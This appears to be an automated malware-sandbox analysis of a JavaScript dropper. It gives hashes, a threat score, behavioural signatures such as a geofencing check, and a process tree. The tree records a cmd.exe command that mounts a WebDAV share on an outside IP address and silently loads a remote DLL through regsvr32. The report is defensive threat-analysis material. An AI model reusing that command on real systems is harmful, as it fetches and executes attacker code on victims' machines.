Analysis

  • max time kernel
    140s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-07-2024 06:29

General

  • Target

    799322034250146127.js

  • Size

    5KB

  • MD5

    c396807c0a80f1e46a1ce5291f562cec

  • SHA1

    ad60f23e0ca8e33ab4b0bfcd7004ed5843e78391

  • SHA256

    9f2ebe712ce5f9b9275fc48d0bc13a05fd1af606ea2db8e8eadadae2456518f0

  • SHA512

    05f1ca77e14bb6bed59b5b3c363c213201f4b1a81bb21b2816c2186feac6710f553843cac6da3ed1d5313e34a4c3180bf2561c4ffea5700b7efe9bd07e593d7a

  • SSDEEP

    96:K4pOX5oQ9X6jByttHlGuajttJGwEzzxW4LAkxhqwEzzxW4LtN:twXn9X6jBOtHQDhtJGwYLAkWwYLtN

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\799322034250146127.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1972
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\7446348011469.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3052
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:3200

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads